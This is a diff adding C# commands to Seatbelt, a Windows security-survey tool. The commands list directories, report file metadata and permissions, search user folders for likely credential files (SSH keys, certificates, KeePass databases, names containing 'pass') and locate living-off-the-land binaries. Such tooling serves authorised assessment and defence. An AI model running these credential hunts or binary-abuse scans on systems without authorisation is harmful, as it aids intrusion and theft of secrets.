var query = _dirList.Pop();
|
||||||
|
|
||||||
|
foreach (var dto in GetDirectories(regex, ignoreErrors, query, maxDepth))
|
||||||
|
yield return dto;
|
||||||
|
|
||||||
|
foreach (var dto in GetFiles(regex, ignoreErrors, query))
|
||||||
|
yield return dto;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private IEnumerable<DirectoryListDTO> GetFiles(Regex? regex, bool ignoreErrors, DirectoryQuery query)
|
||||||
|
{
|
||||||
|
string[] files;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
files = Directory.GetFiles(query.Path);
|
||||||
|
}
|
||||||
|
catch (Exception e)
|
||||||
|
{
|
||||||
|
files = new string[] { };
|
||||||
|
if (!ignoreErrors)
|
||||||
|
{
|
||||||
|
WriteError(e.ToString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach (var file in files)
|
||||||
|
{
|
||||||
|
if (regex != null && !regex.IsMatch(file) && !regex.IsMatch(query.Path))
|
||||||
|
{
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
long? size = null;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var info = new FileInfo(file);
|
||||||
|
size = info.Length;
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
yield return WriteOutput(file, size);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private IEnumerable<DirectoryListDTO> GetDirectories(Regex? regex, bool ignoreErrors, DirectoryQuery query, int maxDepth)
|
||||||
|
{
|
||||||
|
string[] directories;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
directories = Directory.GetDirectories(query.Path);
|
||||||
|
}
|
||||||
|
catch (Exception e)
|
||||||
|
{
|
||||||
|
directories = new string[] { };
|
||||||
|
if (!ignoreErrors)
|
||||||
|
{
|
||||||
|
WriteError(e.ToString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach (var dir in directories)
|
||||||
|
{
|
||||||
|
var matchesIncludeFilter = regex == null || regex.IsMatch(dir);
|
||||||
|
|
||||||
|
if(query.Depth+1 <= maxDepth) _dirList.Push(new DirectoryQuery(dir, query.Depth + 1));
|
||||||
|
|
||||||
|
if (!matchesIncludeFilter) continue;
|
||||||
|
|
||||||
|
if (!dir.EndsWith("\\"))
|
||||||
|
{
|
||||||
|
yield return WriteOutput(dir + "\\", 0);
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
yield return WriteOutput(dir, 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private DirectoryListDTO WriteOutput(string path, long? size)
|
||||||
|
{
|
||||||
|
DateTime? lastAccess = null;
|
||||||
|
DateTime? lastWrite = null;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
lastAccess = Directory.GetLastAccessTime(path);
|
||||||
|
lastWrite = Directory.GetLastWriteTime(path);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
return new DirectoryListDTO(
|
||||||
|
lastAccess,
|
||||||
|
lastWrite,
|
||||||
|
size,
|
||||||
|
path
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class DirectoryListDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public DirectoryListDTO(DateTime? lastAccess, DateTime? lastWrite, long? size, string path)
|
||||||
|
{
|
||||||
|
LastAccess = lastAccess;
|
||||||
|
LastWrite = lastWrite;
|
||||||
|
Size = size;
|
||||||
|
Path = path;
|
||||||
|
}
|
||||||
|
public DateTime? LastAccess { get; }
|
||||||
|
public DateTime? LastWrite { get; }
|
||||||
|
public long? Size { get; }
|
||||||
|
public string Path { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(DirectoryListDTO))]
|
||||||
|
internal class DirectoryListTextFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public DirectoryListTextFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (DirectoryListDTO)result;
|
||||||
|
WriteLine(" {0,-10} {1,-10} {2,-9} {3}",
|
||||||
|
dto.LastWrite?.ToString("yy-MM-dd"),
|
||||||
|
dto.LastAccess?.ToString("yy-MM-dd"),
|
||||||
|
dto.Size == null ? "???" : BytesToString(dto.Size.Value),
|
||||||
|
dto.Path);
|
||||||
|
}
|
||||||
|
|
||||||
|
private string BytesToString(long byteCount)
|
||||||
|
{
|
||||||
|
string[] suf = { "B", "KB", "MB", "GB", "TB", "PB", "EB" }; //Longs run out around EB
|
||||||
|
if (byteCount == 0)
|
||||||
|
return "0" + suf[0];
|
||||||
|
var bytes = Math.Abs(byteCount);
|
||||||
|
var place = Convert.ToInt32(Math.Floor(Math.Log(bytes, 1024)));
|
||||||
|
var num = Math.Round(bytes / Math.Pow(1024, place), 1);
|
||||||
|
return (Math.Sign(byteCount) * num) + suf[place];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,251 @@
|
||||||
|
using Seatbelt.Util;
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.IO;
|
||||||
|
using System.Security;
|
||||||
|
using System.Security.AccessControl;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands.Windows
|
||||||
|
{
|
||||||
|
// TODO: Include filetype custom properties (e.g. Author and last-saved by fields for Word docs)
|
||||||
|
internal class FileInfoCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "FileInfo";
|
||||||
|
public override string Description => "Information about a file (version information, timestamps, basic PE info, etc. argument(s) == file path(s)";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.Misc };
|
||||||
|
public override bool SupportRemote => false;
|
||||||
|
public FileInfoCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
if (args.Length == 0)
|
||||||
|
{
|
||||||
|
var WinDir = Environment.GetEnvironmentVariable("WINDIR");
|
||||||
|
if (!Runtime.FilterResults)
|
||||||
|
{
|
||||||
|
// Oct. 2018 - File list partially taken from https://github.com/rasta-mouse/Watson/tree/04f029aa35c360a8a49c7b162d51604253996eb6/Watson/SuspectFiles
|
||||||
|
args = new string[]
|
||||||
|
{
|
||||||
|
$"{WinDir}\\system32\\drivers\\afd.sys",
|
||||||
|
$"{WinDir}\\system32\\coremessaging.dll",
|
||||||
|
$"{WinDir}\\system32\\dssvc.dll",
|
||||||
|
$"{WinDir}\\system32\\gdiplus.dll",
|
||||||
|
$"{WinDir}\\system32\\gpprefcl.dll",
|
||||||
|
$"{WinDir}\\system32\\drivers\\mrxdav.sys",
|
||||||
|
$"{WinDir}\\system32\\ntoskrnl.exe",
|
||||||
|
$"{WinDir}\\system32\\pcadm.dll",
|
||||||
|
$"{WinDir}\\system32\\rpcrt4.dll",
|
||||||
|
$"{WinDir}\\system32\\schedsvc.dll",
|
||||||
|
$"{WinDir}\\system32\\seclogon.dll",
|
||||||
|
$"{WinDir}\\system32\\win32k.sys",
|
||||||
|
$"{WinDir}\\system32\\win32kfull.sys",
|
||||||
|
$"{WinDir}\\system32\\winload.exe",
|
||||||
|
$"{WinDir}\\system32\\winsrv.dll",
|
||||||
|
};
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
args = new string[]
|
||||||
|
{
|
||||||
|
$"{WinDir}\\system32\\ntoskrnl.exe"
|
||||||
|
};
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach (var file in args)
|
||||||
|
{
|
||||||
|
if (File.Exists(file) && (File.GetAttributes(file) & FileAttributes.Directory) != FileAttributes.Directory) // If file is not a directory
|
||||||
|
{
|
||||||
|
FileVersionInfo versionInfo;
|
||||||
|
FileInfo fileInfo;
|
||||||
|
FileSecurity security;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
versionInfo = FileVersionInfo.GetVersionInfo(file);
|
||||||
|
fileInfo = new FileInfo(file);
|
||||||
|
security = File.GetAccessControl(file);
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
if (ex is FileNotFoundException || ex is SystemException)
|
||||||
|
{
|
||||||
|
WriteError($" [!] Could not locate {file}\n");
|
||||||
|
}
|
||||||
|
else if (ex is SecurityException || ex is UnauthorizedAccessException)
|
||||||
|
{
|
||||||
|
WriteError($" [!] Insufficient privileges to access {file}\n");
|
||||||
|
}
|
||||||
|
else if (ex is ArgumentException || ex is NotSupportedException || ex is PathTooLongException)
|
||||||
|
{
|
||||||
|
WriteError($" [!] Path \"{file}\" is an invalid format\n");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
WriteError($" [!] Error accessing {file}\n");
|
||||||
|
}
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (versionInfo != null && fileInfo != null && security != null) // TODO: Account for cases when any of these aren't null
|
||||||
|
{
|
||||||
|
var isDotNet = FileUtil.IsDotNetAssembly(file);
|
||||||
|
|
||||||
|
yield return new FileInfoDTO(
|
||||||
|
versionInfo.Comments,
|
||||||
|
versionInfo.CompanyName,
|
||||||
|
versionInfo.FileDescription,
|
||||||
|
versionInfo.FileName,
|
||||||
|
versionInfo.FileVersion,
|
||||||
|
versionInfo.InternalName,
|
||||||
|
versionInfo.IsDebug,
|
||||||
|
isDotNet,
|
||||||
|
versionInfo.IsPatched,
|
||||||
|
versionInfo.IsPreRelease,
|
||||||
|
versionInfo.IsPrivateBuild,
|
||||||
|
versionInfo.IsSpecialBuild,
|
||||||
|
versionInfo.Language,
|
||||||
|
versionInfo.LegalCopyright,
|
||||||
|
versionInfo.LegalTrademarks,
|
||||||
|
versionInfo.OriginalFilename,
|
||||||
|
versionInfo.PrivateBuild,
|
||||||
|
versionInfo.ProductName,
|
||||||
|
versionInfo.ProductVersion,
|
||||||
|
versionInfo.SpecialBuild,
|
||||||
|
fileInfo.Attributes,
|
||||||
|
fileInfo.CreationTimeUtc,
|
||||||
|
fileInfo.LastAccessTimeUtc,
|
||||||
|
fileInfo.LastWriteTimeUtc,
|
||||||
|
fileInfo.Length,
|
||||||
|
security.GetSecurityDescriptorSddlForm(AccessControlSections.Access | AccessControlSections.Owner)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
else // Target is a directory
|
||||||
|
{
|
||||||
|
DirectorySecurity directorySecurity;
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
DirectoryInfo directoryInfo = new DirectoryInfo(file);
|
||||||
|
directorySecurity = directoryInfo.GetAccessControl();
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
if (ex is FileNotFoundException || ex is SystemException)
|
||||||
|
{
|
||||||
|
WriteError($" [!] Could not locate {file}\n");
|
||||||
|
}
|
||||||
|
else if (ex is SecurityException || ex is UnauthorizedAccessException)
|
||||||
|
{
|
||||||
|
WriteError($" [!] Insufficient privileges to access {file}\n");
|
||||||
|
}
|
||||||
|
else if (ex is ArgumentException || ex is PathTooLongException)
|
||||||
|
{
|
||||||
|
WriteError($" [!] Path \"{file}\" is an invalid format\n");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
WriteError($" [!] Error accessing {file}\n");
|
||||||
|
}
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (directorySecurity != null) // TODO: Account for cases when any of these aren't null
|
||||||
|
{
|
||||||
|
|
||||||
|
yield return new DirectoryInfoDTO(
|
||||||
|
FileAttributes.Directory,
|
||||||
|
Directory.GetCreationTimeUtc(file),
|
||||||
|
Directory.GetLastAccessTimeUtc(file),
|
||||||
|
Directory.GetLastWriteTimeUtc(file),
|
||||||
|
directorySecurity.GetSecurityDescriptorSddlForm(AccessControlSections.Access | AccessControlSections.Owner)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class FileInfoDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public FileInfoDTO(string comments, string companyName, string fileDescription, string fileName, string fileVersion, string internalName, bool isDebug, bool isDotNet, bool isPatched, bool isPreRelease, bool isPrivateBuild, bool isSpecialBuild, string language, string legalCopyright, string legalTrademarks, string originalFilename, string privateBuild, string productName, string productVersion, string specialBuild, FileAttributes attributes, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, long length, string sddl)
|
||||||
|
{
|
||||||
|
Comments = comments;
|
||||||
|
CompanyName = companyName;
|
||||||
|
FileDescription = fileDescription;
|
||||||
|
FileName = fileName;
|
||||||
|
FileVersion = fileVersion;
|
||||||
|
InternalName = internalName;
|
||||||
|
IsDebug = isDebug;
|
||||||
|
IsDotNet = isDotNet;
|
||||||
|
IsPatched = isPatched;
|
||||||
|
IsPreRelease = isPreRelease;
|
||||||
|
IsPrivateBuild = isPrivateBuild;
|
||||||
|
IsSpecialBuild = isSpecialBuild;
|
||||||
|
Language = language;
|
||||||
|
LegalCopyright = legalCopyright;
|
||||||
|
LegalTrademarks = legalTrademarks;
|
||||||
|
OriginalFilename = originalFilename;
|
||||||
|
PrivateBuild = privateBuild;
|
||||||
|
ProductName = productName;
|
||||||
|
ProductVersion = productVersion;
|
||||||
|
SpecialBuild = specialBuild;
|
||||||
|
Attributes = attributes;
|
||||||
|
CreationTimeUtc = creationTimeUtc;
|
||||||
|
LastAccessTimeUtc = lastAccessTimeUtc;
|
||||||
|
LastWriteTimeUtc = lastWriteTimeUtc;
|
||||||
|
Length = length;
|
||||||
|
SDDL = sddl;
|
||||||
|
}
|
||||||
|
|
||||||
|
public string Comments { get; }
|
||||||
|
public string CompanyName { get; }
|
||||||
|
public string FileDescription { get; }
|
||||||
|
public string FileName { get; }
|
||||||
|
public string FileVersion { get; }
|
||||||
|
public string InternalName { get; }
|
||||||
|
public bool IsDebug { get; }
|
||||||
|
public bool IsDotNet { get; }
|
||||||
|
public bool IsPatched { get; }
|
||||||
|
public bool IsPreRelease { get; }
|
||||||
|
public bool IsPrivateBuild { get; }
|
||||||
|
public bool IsSpecialBuild { get; }
|
||||||
|
public string Language { get; }
|
||||||
|
public string LegalCopyright { get; }
|
||||||
|
public string LegalTrademarks { get; }
|
||||||
|
public string OriginalFilename { get; }
|
||||||
|
public string PrivateBuild { get; }
|
||||||
|
public string ProductName { get; }
|
||||||
|
public string ProductVersion { get; }
|
||||||
|
public string SpecialBuild { get; }
|
||||||
|
public FileAttributes Attributes { get; }
|
||||||
|
public DateTime CreationTimeUtc { get; }
|
||||||
|
public DateTime LastAccessTimeUtc { get; }
|
||||||
|
public DateTime LastWriteTimeUtc { get; }
|
||||||
|
public long Length { get; }
|
||||||
|
public string SDDL { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class DirectoryInfoDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public DirectoryInfoDTO(FileAttributes attributes, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, string sddl)
|
||||||
|
{
|
||||||
|
Attributes = attributes;
|
||||||
|
CreationTimeUtc = creationTimeUtc;
|
||||||
|
LastAccessTimeUtc = lastAccessTimeUtc;
|
||||||
|
LastWriteTimeUtc = lastWriteTimeUtc;
|
||||||
|
SDDL = sddl;
|
||||||
|
}
|
||||||
|
|
||||||
|
public FileAttributes Attributes { get; }
|
||||||
|
public DateTime CreationTimeUtc { get; }
|
||||||
|
public DateTime LastAccessTimeUtc { get; }
|
||||||
|
public DateTime LastWriteTimeUtc { get; }
|
||||||
|
public string SDDL { get; }
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,184 @@
|
||||||
|
using System;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using System.IO;
|
||||||
|
using System.Linq;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
internal class InterestingFilesCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "InterestingFiles";
|
||||||
|
public override string Description => "\"Interesting\" files matching various patterns in the user's folder. Note: takes non-trivial time.";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.Misc };
|
||||||
|
public override bool SupportRemote => false;
|
||||||
|
|
||||||
|
public InterestingFilesCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
// TODO: accept patterns on the command line
|
||||||
|
|
||||||
|
// returns files (w/ modification dates) that match the given pattern below
|
||||||
|
var patterns = new string[]{
|
||||||
|
// Wildcards
|
||||||
|
"*pass*",
|
||||||
|
"*diagram*",
|
||||||
|
"*_rsa*", // SSH keys
|
||||||
|
|
||||||
|
// Extensions
|
||||||
|
"*.doc",
|
||||||
|
"*.docx",
|
||||||
|
"*.pem",
|
||||||
|
"*.pdf",
|
||||||
|
"*.pfx", // Certificate (Code signing, SSL, etc.)
|
||||||
|
"*.p12", // Certificate (Code signing, SSL, etc.) - Mac/Firefox
|
||||||
|
"*.ppt",
|
||||||
|
"*.pptx",
|
||||||
|
"*.vsd", // Visio Diagrams
|
||||||
|
"*.xls",
|
||||||
|
"*.xlsx",
|
||||||
|
"*.kdb", // KeePass database
|
||||||
|
"*.kdbx", // KeePass database
|
||||||
|
"*.key",
|
||||||
|
|
||||||
|
// Specific file names
|
||||||
|
"KeePass.config"
|
||||||
|
};
|
||||||
|
|
||||||
|
var searchPath = $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\";
|
||||||
|
var files = FindFiles(searchPath, string.Join(";", patterns));
|
||||||
|
|
||||||
|
WriteHost("\nAccessed Modified Path");
|
||||||
|
WriteHost("---------- ---------- -----");
|
||||||
|
|
||||||
|
foreach (var file in files)
|
||||||
|
{
|
||||||
|
var info = new FileInfo(file);
|
||||||
|
|
||||||
|
string? owner = null;
|
||||||
|
string? sddl = null;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
sddl = info.GetAccessControl(System.Security.AccessControl.AccessControlSections.All).GetSecurityDescriptorSddlForm(System.Security.AccessControl.AccessControlSections.All);
|
||||||
|
owner = File.GetAccessControl(file).GetOwner(typeof(System.Security.Principal.NTAccount)).ToString();
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
|
||||||
|
yield return new InterestingFileDTO(
|
||||||
|
$"{file}",
|
||||||
|
info.Length,
|
||||||
|
info.CreationTime,
|
||||||
|
info.LastAccessTime,
|
||||||
|
info.LastWriteTime,
|
||||||
|
sddl,
|
||||||
|
owner
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static List<string> FindFiles(string path, string patterns)
|
||||||
|
{
|
||||||
|
// finds files matching one or more patterns under a given path, recursive
|
||||||
|
// adapted from http://csharphelper.com/blog/2015/06/find-files-that-match-multiple-patterns-in-c/
|
||||||
|
// pattern: "*pass*;*.png;"
|
||||||
|
|
||||||
|
var files = new List<string>();
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var filesUnfiltered = GetFiles(path).ToList();
|
||||||
|
|
||||||
|
// search every pattern in this directory's files
|
||||||
|
foreach (var pattern in patterns.Split(';'))
|
||||||
|
{
|
||||||
|
files.AddRange(filesUnfiltered.Where(f => f.Contains(pattern.Trim('*'))));
|
||||||
|
}
|
||||||
|
|
||||||
|
//// go recurse in all sub-directories
|
||||||
|
//foreach (var directory in Directory.GetDirectories(path))
|
||||||
|
// files.AddRange(FindFiles(directory, patterns));
|
||||||
|
}
|
||||||
|
catch (UnauthorizedAccessException) { }
|
||||||
|
catch (PathTooLongException) { }
|
||||||
|
|
||||||
|
return files;
|
||||||
|
}
|
||||||
|
|
||||||
|
// FROM: https://stackoverflow.com/a/929418
|
||||||
|
private static IEnumerable<string> GetFiles(string path)
|
||||||
|
{
|
||||||
|
var queue = new Queue<string>();
|
||||||
|
queue.Enqueue(path);
|
||||||
|
while (queue.Count > 0)
|
||||||
|
{
|
||||||
|
path = queue.Dequeue();
|
||||||
|
try
|
||||||
|
{
|
||||||
|
foreach (var subDir in Directory.GetDirectories(path))
|
||||||
|
{
|
||||||
|
queue.Enqueue(subDir);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception)
|
||||||
|
{
|
||||||
|
// Eat it
|
||||||
|
}
|
||||||
|
string[]? files = null;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
files = Directory.GetFiles(path);
|
||||||
|
}
|
||||||
|
catch (Exception)
|
||||||
|
{
|
||||||
|
// Eat it
|
||||||
|
}
|
||||||
|
|
||||||
|
if (files == null) continue;
|
||||||
|
foreach (var f in files)
|
||||||
|
{
|
||||||
|
yield return f;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
internal class InterestingFileDTO : CommandDTOBase
|
||||||
|
{
|
||||||
|
public InterestingFileDTO(string path, long size, DateTime dateCreated, DateTime dateAccessed, DateTime dateModified, string? sddl, string? fileOwner)
|
||||||
|
{
|
||||||
|
Path = path;
|
||||||
|
Size = size;
|
||||||
|
DateCreated = dateCreated;
|
||||||
|
DateAccessed = dateAccessed;
|
||||||
|
DateModified = dateModified;
|
||||||
|
Sddl = sddl;
|
||||||
|
FileOwner = fileOwner;
|
||||||
|
}
|
||||||
|
public string Path { get; }
|
||||||
|
public long Size { get; }
|
||||||
|
public DateTime DateCreated { get; }
|
||||||
|
public DateTime DateAccessed { get; }
|
||||||
|
public DateTime DateModified { get; }
|
||||||
|
public string? Sddl { get; }
|
||||||
|
public string? FileOwner { get; }
|
||||||
|
}
|
||||||
|
|
||||||
|
[CommandOutputType(typeof(InterestingFileDTO))]
|
||||||
|
internal class InterestingFileFormatter : TextFormatterBase
|
||||||
|
{
|
||||||
|
public InterestingFileFormatter(ITextWriter writer) : base(writer)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults)
|
||||||
|
{
|
||||||
|
var dto = (InterestingFileDTO)result;
|
||||||
|
|
||||||
|
WriteLine($"{dto.DateAccessed:yyyy-MM-dd} {dto.DateModified:yyyy-MM-dd} {dto.Path}");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,152 @@
|
||||||
|
using System.Linq;
|
||||||
|
using System.Collections.Generic;
|
||||||
|
using Seatbelt.Output.TextWriters;
|
||||||
|
using Seatbelt.Output.Formatters;
|
||||||
|
|
||||||
|
namespace Seatbelt.Commands
|
||||||
|
{
|
||||||
|
internal class LolbasCommand : CommandBase
|
||||||
|
{
|
||||||
|
public override string Command => "LOLBAS";
|
||||||
|
public override string Description => "Locates Living Off The Land Binaries and Scripts (LOLBAS) on the system. Note: takes non-trivial time.";
|
||||||
|
public override CommandGroup[] Group => new[] { CommandGroup.Misc };
|
||||||
|
public override bool SupportRemote => false;
|
||||||
|
|
||||||
|
// Contains all lolbas found from https://lolbas-project.github.io/
|
||||||
|
// Obtained on 8/15/20
|
||||||
|
private static readonly HashSet<string> Lolbas = new HashSet<string>(){
|
||||||
|
"advpack.dll", "appvlp.exe", "at.exe",
|
||||||
|
"atbroker.exe", "bash.exe", "bginfo.exe",
|
||||||
|
"bitsadmin.exe", "cl_invocation.ps1", "cl_mutexverifiers.ps1",
|
||||||
|
"cdb.exe", "certutil.exe", "cmd.exe",
|
||||||
|
"cmdkey.exe", "cmstp.exe", "comsvcs.dll",
|
||||||
|
"control.exe", "csc.exe", "cscript.exe",
|
||||||
|
"desktopimgdownldr.exe", "devtoolslauncher.exe", "dfsvc.exe",
|
||||||
|
"diskshadow.exe", "dnscmd.exe", "dotnet.exe",
|
||||||
|
"dxcap.exe", "esentutl.exe", "eventvwr.exe",
|
||||||
|
"excel.exe", "expand.exe", "extexport.exe",
|
||||||
|
"extrac32.exe", "findstr.exe", "forfiles.exe",
|
||||||
|
"ftp.exe", "gfxdownloadwrapper.exe", "gpscript.exe",
|
||||||
|
"hh.exe", "ie4uinit.exe", "ieadvpack.dll",
|
||||||
|
"ieaframe.dll", "ieexec.exe", "ilasm.exe",
|
||||||
|
"infdefaultinstall.exe", "installutil.exe", "jsc.exe",
|
||||||
|
"makecab.exe", "manage-bde.wsf", "mavinject.exe",
|
||||||
|
"mftrace.exe", "microsoft.workflow.compiler.exe", "mmc.exe",
|
||||||
|
"msbuild.exe", "msconfig.exe", "msdeploy.exe",
|
||||||
|
"msdt.exe", "mshta.exe", "mshtml.dll",
|
||||||
|
"msiexec.exe", "netsh.exe", "odbcconf.exe",
|
||||||
|
"pcalua.exe", "pcwrun.exe", "pcwutl.dll",
|
||||||
|
"pester.bat", "powerpnt.exe", "presentationhost.exe",
|
||||||
|
"print.exe", "psr.exe", "pubprn.vbs",
|
||||||
|
"rasautou.exe", "reg.exe", "regasm.exe",
|
||||||
|
"regedit.exe", "regini.exe", "register-cimprovider.exe",
|
||||||
|
"regsvcs.exe", "regsvr32.exe", "replace.exe",
|
||||||
|
"rpcping.exe", "rundll32.exe", "runonce.exe",
|
||||||
|
"runscripthelper.exe", "sqltoolsps.exe", "sc.exe",
|
||||||
|
"schtasks.exe", "scriptrunner.exe", "setupapi.dll",
|
||||||
|
"shdocvw.dll", "shell32.dll", "slmgr.vbs",
|
||||||
|
"sqldumper.exe", "sqlps.exe", "squirrel.exe",
|
||||||
|
"syncappvpublishingserver.exe", "syncappvpublishingserver.vbs", "syssetup.dll",
|
||||||
|
"tracker.exe", "tttracer.exe", "update.exe",
|
||||||
|
"url.dll", "verclsid.exe", "wab.exe",
|
||||||
|
"winword.exe", "wmic.exe", "wscript.exe",
|
||||||
|
"wsl.exe", "wsreset.exe", "xwizard.exe",
|
||||||
|
"zipfldr.dll", "csi.exe", "dnx.exe",
|
||||||
|
"msxsl.exe", "ntdsutil.exe", "rcsi.exe",
|
||||||
|
"te.exe", "vbc.exe", "vsjitdebugger.exe",
|
||||||
|
"winrm.vbs", };
|
||||||
|
|
||||||
|
public LolbasCommand(Runtime runtime) : base(runtime)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
// FROM: https://stackoverflow.com/questions/172544/ignore-folders-files-when-directory-getfiles-is-denied-access
|
||||||
|
// Reursively search for files with extensions of bat, exe, dll, ps1, and vbs from a top level root directory
|
||||||
|
private static List<string> GetAllFilesFromFolder(string root, bool searchSubfolders)
|
||||||
|
{
|
||||||
|
Queue<string> folders = new Queue<string>();
|
||||||
|
List<string> files = new List<string>();
|
||||||
|
folders.Enqueue(root);
|
||||||
|
while (folders.Count != 0)
|
||||||
|
{
|
||||||
|
string currentFolder = folders.Dequeue();
|
||||||
|
try
|
||||||
|
{
|
||||||
|
// FROM: https://stackoverflow.com/questions/8443524/using-directory-getfiles-with-a-regex-in-c
|
||||||
|
// If using .NET Framework 4+ can replace Directory.GetFiles with Directory.EnumerateFiles that should be faster
|
||||||
|
// See here for more info https://stackoverflow.com/questions/17756042/improve-the-performance-for-enumerating-files-and-folders-using-net
|
||||||
|
string[] filesInCurrent = System.IO.Directory.GetFiles(currentFolder, "*.*", System.IO.SearchOption.TopDirectoryOnly).Where(path=> path.EndsWith(".bat") ||
|
||||||
|
path.EndsWith(".exe") || path.EndsWith(".dll") || path.EndsWith(".ps1") || path.EndsWith(".vbs")).ToArray();
|
||||||
|
files.AddRange(filesInCurrent);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (searchSubfolders)
|
||||||
|
{
|
||||||
|
string[] foldersInCurrent = System.IO.Directory.GetDirectories(currentFolder, "*.*", System.IO.SearchOption.TopDirectoryOnly);
|
||||||
|
foreach (string _current in foldersInCurrent)
|
||||||
|
{
|
||||||
|
folders.Enqueue(_current);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return files;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public override IEnumerable<CommandDTOBase?> Execute(string[] args)
|
||||||
|
{
|
||||||
|
List<string> paths = GetAllFilesFromFolder(@"C:\", true);
|
||||||
|
|
||||||
|
// For each path that was found check if the path is in the hashset and sort the result by path names
|
||||||
|
IEnumerable<string> query = paths.Where(path => Lolbas.Contains(path.Substring(path.LastIndexOf("\\") + 1).ToLower())).OrderBy(path => path.Substring(path.LastIndexOf("\\") + 1));
|
||||||
|
|
||||||
|
foreach(string path in query)
|
||||||
|
{
|
||||||
|
yield return new LolbasDTO(path);
|
||||||
|
}
|
||||||
|
|
||||||
|
// This is only the LOLBAS with a .wsf extension so we can simply just check if the file exists
|
||||||
|
string manageBDE = @"C:\Windows\System32\manage-bde.wsf";
|
||||||
|
|
||||||
|
if (System.IO.File.Exists(manageBDE))
|
||||||
|
{
|
||||||
|
yield return new LolbasDTO(manageBDE);
|
||||||
|
}
|
||||||
|
|
||||||
|
WriteVerbose($"Found: {query.Count()} LOLBAS");
|
||||||
|
WriteHost("\nTo see how to use the LOLBAS that were found go to https://lolbas-project.github.io/");
|
||||||
|
}
|
||||||
|
|
||||||
|
